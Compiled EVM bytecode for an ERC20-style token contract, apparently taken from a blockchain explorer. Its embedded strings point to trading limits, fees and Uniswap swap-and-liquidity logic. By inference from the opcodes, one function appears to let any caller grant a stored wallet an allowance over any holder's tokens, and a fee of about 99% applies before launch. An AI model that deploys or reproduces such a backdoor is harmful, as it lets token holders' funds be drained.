60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f19350505050158015612d19573d6000803e3d6000fd5b50505050505050505050505b565b6000808303612d395760009050612d9b565b60008284612d479190613b7a565b9050828482612d569190613beb565b14612d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8d90613ceb565b60405180910390fd5b809150505b92915050565b6000612de383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061314c565b905092915050565b6000612e2d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506127e9565b905092915050565b6000600267ffffffffffffffff811115612e5257612e51613d0b565b5b604051908082528060200260200182016040528015612e805781602001602082028036833780820191505090505b5090503081600081518110612e9857612e97613d3a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612f3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f619190613d7e565b81600181518110612f7557612f74613d3a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612fda307f000000000000000000000000000000000000000000000000000000000000000084611d29565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161303c959493929190613ea4565b600060405180830381600087803b15801561305657600080fd5b505af115801561306a573d6000803e3d6000fd5b505050505050565b61309d307f000000000000000000000000000000000000000000000000000000000000000084611d29565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008030426040518863ffffffff1660e01b815260040161310296959493929190613efe565b60606040518083038185885af1158015613120573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906131459190613f74565b5050505050565b60008083118290613193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161318a919061323f565b60405180910390fd5b50600083856131a29190613beb565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156131e95780820151818401526020810190506131ce565b60008484015250505050565b6000601f19601f8301169050919050565b6000613211826131af565b61321b81856131ba565b935061322b8185602086016131cb565b613234816131f5565b840191505092915050565b600060208201905081810360008301526132598184613206565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061329182613266565b9050919050565b6132a181613286565b81146132ac57600080fd5b50565b6000813590506132be81613298565b92915050565b6000819050919050565b6132d7816132c4565b81146132e257600080fd5b50565b6000813590506132f4816132ce565b92915050565b6000806040838503121561331157613310613261565b5b600061331f858286016132af565b9250506020613330858286016132e5565b9150509250929050565b60008115159050919050565b61334f8161333a565b82525050565b600060208201905061336a6000830184613346565b92915050565b6133798161333a565b811461338457600080fd5b50565b60008135905061339681613370565b92915050565b600080604083850312156133b3576133b2613261565b5b60006133c1858286016132af565b92505060206133d285828601613387565b9150509250929050565b6000602082840312156133f2576133f1613261565b5b6000613400848285016132af565b91505092915050565b613412816132c4565b82525050565b600060208201905061342d6000830184613409565b92915050565b60006020828403121561344957613448613261565b5b600061345784828501613387565b91505092915050565b60008060006060848603121561347957613478613261565b5b6000613487868287016132af565b9350506020613498868287016132af565b92505060406134a9868287016132e5565b9150509250925092565b600060ff82169050919050565b6134c9816134b3565b82525050565b60006020820190506134e460008301846134c0565b92915050565b6134f381613286565b82525050565b600060208201905061350e60008301846134ea565b92915050565b60006020828403121561352a57613529613261565b5b6000613538848285016132e5565b91505092915050565b600061010082019050613557600083018b613409565b613564602083018a613409565b6135716040830189613409565b61357e6060830188613409565b61358b6080830187613409565b61359860a0830186613409565b6135a560c0830185613409565b6135b260e0830184613409565b9998505050505050505050565b600080604083850312156135d6576135d5613261565b5b60006135e4858286016132af565b92505060206135f5858286016132af565b9150509250929050565b6000819050919050565b600061362461361f61361a84613266565b6135ff565b613266565b9050919050565b600061363682613609565b9050919050565b60006136488261362b565b9050919050565b6136588161363d565b82525050565b6000602082019050613673600083018461364f565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806136c057607f821691505b6020821081036136d3576136d2613679565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061370f6020836131ba565b915061371a826136d9565b602082019050919050565b6000602082019050818103600083015261373e81613702565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f5f756e6970616972416464720000000000000000000000000000000000000000602082015250565b60006137a1602c836131ba565b91506137ac82613745565b604082019050919050565b600060208201905081810360008301526137d081613794565b9050919050565b600081905092915050565b50565b60006137f26000836137d7565b91506137fd826137e2565b600082019050919050565b6000613813826137e5565b9150819050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006138796026836131ba565b91506138848261381d565b604082019050919050565b600060208201905081810360008301526138a88161386c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006138e9826132c4565b91506138f4836132c4565b925082820190508082111561390c5761390b6138af565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613948601b836131ba565b915061395382613912565b602082019050919050565b600060208201905081810360008301526139778161393b565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006139b46016836131ba565b91506139bf8261397e565b602082019050919050565b600060208201905081810360008301526139e3816139a7565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613a466035836131ba565b9150613a51826139ea565b604082019050919050565b60006020820190508181036000830152613a7581613a39565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613ad86036836131ba565b9150613ae382613a7c565b604082019050919050565b60006020820190508181036000830152613b0781613acb565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613b446013836131ba565b9150613b4f82613b0e565b602082019050919050565b60006020820190508181036000830152613b7381613b37565b9050919050565b6000613b85826132c4565b9150613b90836132c4565b9250828202613b9e816132c4565b91508282048414831517613bb557613bb46138af565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613bf6826132c4565b9150613c01836132c4565b925082613c1157613c10613bbc565b5b828204905092915050565b6000613c27826132c4565b9150613c32836132c4565b9250828203905081811115613c4a57613c496138af565b5b92915050565b6000604082019050613c656000830185613409565b613c726020830184613409565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613cd56021836131ba565b9150613ce082613c79565b604082019050919050565b60006020820190508181036000830152613d0481613cc8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613d7881613298565b92915050565b600060208284031215613d9457613d93613261565b5b6000613da284828501613d69565b91505092915050565b6000819050919050565b6000613dd0613dcb613dc684613dab565b6135ff565b6132c4565b9050919050565b613de081613db5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e1b81613286565b82525050565b6000613e2d8383613e12565b60208301905092915050565b6000602082019050919050565b6000613e5182613de6565b613e5b8185613df1565b9350613e6683613e02565b8060005b83811015613e97578151613e7e8882613e21565b9750613e8983613e39565b925050600181019050613e6a565b5085935050505092915050565b600060a082019050613eb96000830188613409565b613ec66020830187613dd7565b8181036040830152613ed88186613e46565b9050613ee760608301856134ea565b613ef46080830184613409565b9695505050505050565b600060c082019050613f1360008301896134ea565b613f206020830188613409565b613f2d6040830187613dd7565b613f3a6060830186613dd7565b613f4760808301856134ea565b613f5460a0830184613409565b979650505050505050565b600081519050613f6e816132ce565b92915050565b600080600060608486031215613f8d57613f8c613261565b5b6000613f9b86828701613f5f565b9350506020613fac86828701613f5f565b9250506040613fbd86828701613f5f565b915050925092509256fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203363bbe4d06e51c2c2a86073176bb53732c855919f669ddc4f90a2c2dd54c86364736f6c63430008120033
Deployed Bytecode
0x6080604052600436106102345760003560e01c806365fcab2c1161012e578063a457c2d7116100ab578063e16830a81161006f578063e16830a8146108c7578063eb325221146108f0578063ef8700e51461092d578063f2fde38b14610958578063f887ea401461098157610273565b8063a457c2d7146107b5578063a9059cbb146107f2578063bd11e0d91461082f578063c024666814610861578063dd62ed3e1461088a57610273565b80637571336a116100f25780637571336a146106ce5780638da5cb5b146106f757806395d89b4114610722578063963932b41461074d578063979262481461078a57610273565b806365fcab2c146106115780636b1f0a551461063a57806370a0823114610663578063715018a6146106a0578063751039fc146106b757610273565b806323b872dd116101bc5780633ccfd60b116101805780633ccfd60b14610516578063475dbdde1461054157806349bd5a5e1461057e5780634fbee193146105a9578063635d24a8146105e657610273565b806323b872dd1461041b5780632dd6f433146104585780632f13fbee14610483578063313ce567146104ae57806339509351146104d957610273565b806318160ddd1161020357806318160ddd146103465780631a8145bb146103715780631c6e8a751461039c5780631e554877146103c55780631f3fed8f146103f057610273565b806306fdde0314610278578063095ea7b3146102a35780630b1c7182146102e057806310d5de531461030957610273565b36610273573073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361027157600080fd5b005b600080fd5b34801561028457600080fd5b5061028d6109ac565b60405161029a919061323f565b60405180910390f35b3480156102af57600080fd5b506102ca60048036038101906102c591906132fa565b610a3e565b6040516102d79190613355565b60405180910390f35b3480156102ec57600080fd5b506103076004803603810190610302919061339c565b610a5c565b005b34801561031557600080fd5b50610330600480360381019061032b91906133dc565b610bde565b60405161033d9190613355565b60405180910390f35b34801561035257600080fd5b5061035b610bfe565b6040516103689190613418565b60405180910390f35b34801561037d57600080fd5b50610386610c08565b6040516103939190613418565b60405180910390f35b3480156103a857600080fd5b506103c360048036038101906103be9190613433565b610c0e565b005b3480156103d157600080fd5b506103da610cc2565b6040516103e79190613418565b60405180910390f35b3480156103fc57600080fd5b50610405610cc8565b6040516104129190613418565b60405180910390f35b34801561042757600080fd5b50610442600480360381019061043d9190613460565b610cce565b60405161044f9190613355565b60405180910390f35b34801561046457600080fd5b5061046d610da7565b60405161047a9190613418565b60405180910390f35b34801561048f57600080fd5b50610498610dad565b6040516104a59190613355565b60405180910390f35b3480156104ba57600080fd5b506104c3610dc0565b6040516104d091906134cf565b60405180910390f35b3480156104e557600080fd5b5061050060048036038101906104fb91906132fa565b610dc9565b60405161050d9190613355565b60405180910390f35b34801561052257600080fd5b5061052b610e7c565b6040516105389190613355565b60405180910390f35b34801561054d57600080fd5b50610568600480360381019061056391906133dc565b610f14565b6040516105759190613355565b60405180910390f35b34801561058a57600080fd5b50610593610f34565b6040516105a091906134f9565b60405180910390f35b3480156105b557600080fd5b506105d060048036038101906105cb91906133dc565b610f5a565b6040516105dd9190613355565b60405180910390f35b3480156105f257600080fd5b506105fb610fb0565b6040516106089190613355565b60405180910390f35b34801561061d57600080fd5b50610638600480360381019061063391906133dc565b610fc3565b005b34801561064657600080fd5b50610661600480360381019061065c91906132fa565b611249565b005b34801561066f57600080fd5b5061068a600480360381019061068591906133dc565b61127a565b6040516106979190613418565b60405180910390f35b3480156106ac57600080fd5b506106b56112c2565b005b3480156106c357600080fd5b506106cc61141a565b005b3480156106da57600080fd5b506106f560048036038101906106f0919061339c565b6114ca565b005b34801561070357600080fd5b5061070c6115bc565b60405161071991906134f9565b60405180910390f35b34801561072e57600080fd5b506107376115e6565b604051610744919061323f565b60405180910390f35b34801561075957600080fd5b50610774600480360381019061076f9190613514565b611678565b6040516107819190613355565b60405180910390f35b34801561079657600080fd5b5061079f611721565b6040516107ac9190613418565b60405180910390f35b3480156107c157600080fd5b506107dc60048036038101906107d791906132fa565b611727565b6040516107e99190613355565b60405180910390f35b3480156107fe57600080fd5b50610819600480360381019061081491906132fa565b6117f4565b6040516108269190613355565b60405180910390f35b34801561083b57600080fd5b50610844611812565b604051610858989796959493929190613541565b60405180910390f35b34801561086d57600080fd5b506108886004803603810190610883919061339c565b611848565b005b34801561089657600080fd5b506108b160048036038101906108ac91906135bf565b61193a565b6040516108be9190613418565b60405180910390f35b3480156108d357600080fd5b506108ee60048036038101906108e9919061339c565b6119c1565b005b3480156108fc57600080fd5b50610917600480360381019061091291906133dc565b611ab3565b6040516109249190613355565b60405180910390f35b34801561093957600080fd5b50610942611ad3565b60405161094f9190613418565b60405180910390f35b34801561096457600080fd5b5061097f600480360381019061097a91906133dc565b611ad9565b005b34801561098d57600080fd5b50610996611c9f565b6040516109a3919061365e565b60405180910390f35b6060600380546109bb906136a8565b80601f01602080910402602001604051908101604052809291908181526020018280546109e7906136a8565b8015610a345780601f10610a0957610100808354040283529160200191610a34565b820191906000526020600020905b815481529060010190602001808311610a1757829003601f168201915b5050505050905090565b6000610a52610a4b611d21565b8484611d29565b6001905092915050565b610a64611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea90613725565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7a906137b7565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f6020528060005260406000206000915054906101000a900460ff1681565b6000600254905090565b600a5481565b610c16611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9c90613725565b60405180910390fd5b80600d60016101000a81548160ff02191690831515021790555050565b60125481565b60095481565b6000610cdb848484611e14565b610d9c84610ce7611d21565b610d978560405180606001604052806028815260200161401360289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d4d611d21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e99092919063ffffffff16565b611d29565b600190509392505050565b60135481565b600d60029054906101000a900460ff1681565b60006012905090565b6000610e72610dd6611d21565b84610e6d8560016000610de7611d21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc390919063ffffffff16565b611d29565b6001905092915050565b600080479050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051610ec890613808565b60006040518083038185875af1925050503d8060008114610f05576040519150601f19603f3d011682016040523d82523d6000602084013e610f0a565b606091505b5050809250505090565b60116020528060005260406000206000915054906101000a900460ff1681565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60019054906101000a900460ff1681565b610fcb611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461105a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105190613725565b60405180910390fd5b80601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600d60006101000a81548160ff0219169083151502179055506001600d60016101000a81548160ff02191690831515021790555043600c81905550600160116000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61127682600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361284d565b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112ca611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611359576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135090613725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611422611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a890613725565b60405180910390fd5b6114bd6103e88061285d565b6114c86103e86128ad565b565b6114d2611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155890613725565b60405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546115f5906136a8565b80601f0160208091040260200160405190810160405280929190818152602001828054611621906136a8565b801561166e5780601f106116435761010080835404028352916020019161166e565b820191906000526020600020905b81548152906001019060200180831161165157829003601f168201915b5050505050905090565b6000611682611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611711576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170890613725565b60405180910390fd5b8160088190555060019050919050565b60145481565b60006117ea611734611d21565b846117e585604051806060016040528060258152602001613fc8602591396001600061175e611d21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e99092919063ffffffff16565b611d29565b6001905092915050565b6000611808611801611d21565b8484611e14565b6001905092915050565b60168060000154908060010154908060020154908060030154908060040154908060050154908060060154908060070154905088565b611850611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d690613725565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6119c9611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613725565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60106020528060005260406000206000915054906101000a900460ff1681565b600b5481565b611ae1611d21565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6790613725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd69061388f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000808284611cd291906138de565b905083811015611d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0e9061395e565b60405180910390fd5b8091505092915050565b600033905090565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e079190613418565b60405180910390a3505050565b60008103611e2d57611e28838360006128d6565b6127e4565b611e356115bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ea35750611e736115bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ebc5750600d60029054906101000a900460ff16155b1561224257600d60009054906101000a900460ff16611fb657600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f765750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611fb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fac906139ca565b60405180910390fd5b5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156120595750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120a8576012548111156120a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209a90613a5c565b60405180910390fd5b612197565b601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561214b5750600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561219657601354811115612195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218c90613aee565b60405180910390fd5b5b5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612241576014546121f48361127a565b826121ff91906138de565b1115612240576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223790613b5a565b60405180910390fd5b5b5b600061224d3061127a565b9050600060085482101590508080156122725750600d60019054906101000a900460ff165b801561228b5750600d60029054906101000a900460ff16155b80156122e05750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156123365750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561238c5750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123d0576001600d60026101000a81548160ff0219169083151502179055506123b4612a80565b6000600d60026101000a81548160ff0219169083151502179055505b6000600d60029054906101000a900460ff16159050600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124865750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561249057600090505b80156127d5576000600c54431015612532576124c960646124bb606388612d2790919063ffffffff16565b612da190919063ffffffff16565b90506063605e826124da9190613b7a565b6124e49190613beb565b600960008282546124f591906138de565b92505081905550606360058261250b9190613b7a565b6125159190613beb565b600b600082825461252691906138de565b925050819055506127b0565b601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561259057506000601660040154115b15612672576125c060646125b260166004015488612d2790919063ffffffff16565b612da190919063ffffffff16565b9050601660040154601660070154826125d99190613b7a565b6125e39190613beb565b600a60008282546125f491906138de565b92505081905550601660040154601660050154826126129190613b7a565b61261c9190613beb565b6009600082825461262d91906138de565b925050819055506016600401546016600601548261264b9190613b7a565b6126559190613beb565b600b600082825461266691906138de565b925050819055506127af565b601160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126d057506000601660000154115b156127ae5761270060646126f260166000015488612d2790919063ffffffff16565b612da190919063ffffffff16565b9050601660000154601660030154826127199190613b7a565b6127239190613beb565b600a600082825461273491906138de565b92505081905550601660000154601660010154826127529190613b7a565b61275c9190613beb565b6009600082825461276d91906138de565b925050819055506016600001546016600201548261278b9190613b7a565b6127959190613beb565b600b60008282546127a691906138de565b925050819055505b5b5b60008111156127c5576127c48730836128d6565b5b80856127d19190613c1c565b9450505b6127e08686866128d6565b5050505b505050565b6000838311158290612831576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612828919061323f565b60405180910390fd5b50600083856128409190613c1c565b9050809150509392505050565b612858838383611d29565b505050565b6103e882612869610bfe565b6128739190613b7a565b61287d9190613beb565b6012819055506103e88161288f610bfe565b6128999190613b7a565b6128a39190613beb565b6013819055505050565b6103e8816128b9610bfe565b6128c39190613b7a565b6128cd9190613beb565b60148190555050565b61294181604051806060016040528060268152602001613fed602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e99092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129d4816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a739190613418565b60405180910390a3505050565b6000612a8b3061127a565b90506000600b54600954600a54612aa291906138de565b612aac91906138de565b905060008203612abd575050612d25565b6023600854612acc9190613b7a565b821115612ae5576023600854612ae29190613b7a565b91505b6000600282600a5485612af89190613b7a565b612b029190613beb565b612b0c9190613beb565b90506000612b238285612deb90919063ffffffff16565b90506000479050612b3382612e35565b6000612b488247612deb90919063ffffffff16565b90506000612b7386612b6560095485612d2790919063ffffffff16565b612da190919063ffffffff16565b90506000612b9e87612b90600b5486612d2790919063ffffffff16565b612da190919063ffffffff16565b905060008183612bae91906138de565b84612bb99190613c1c565b90506000600a8190555060006009819055506000600b81905550600087118015612be35750600081115b15612c2c57612bf28782613072565b7f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f83814868682604051612c23929190613c50565b60405180910390a15b6000600285612c3b9190613beb565b84612c4691906138de565b9050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612cb0573d6000803e3d6000fd5b50600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f19350505050158015612d19573d6000803e3d6000fd5b50505050505050505050505b565b6000808303612d395760009050612d9b565b60008284612d479190613b7a565b9050828482612d569190613beb565b14612d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8d90613ceb565b60405180910390fd5b809150505b92915050565b6000612de383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061314c565b905092915050565b6000612e2d83836040518060400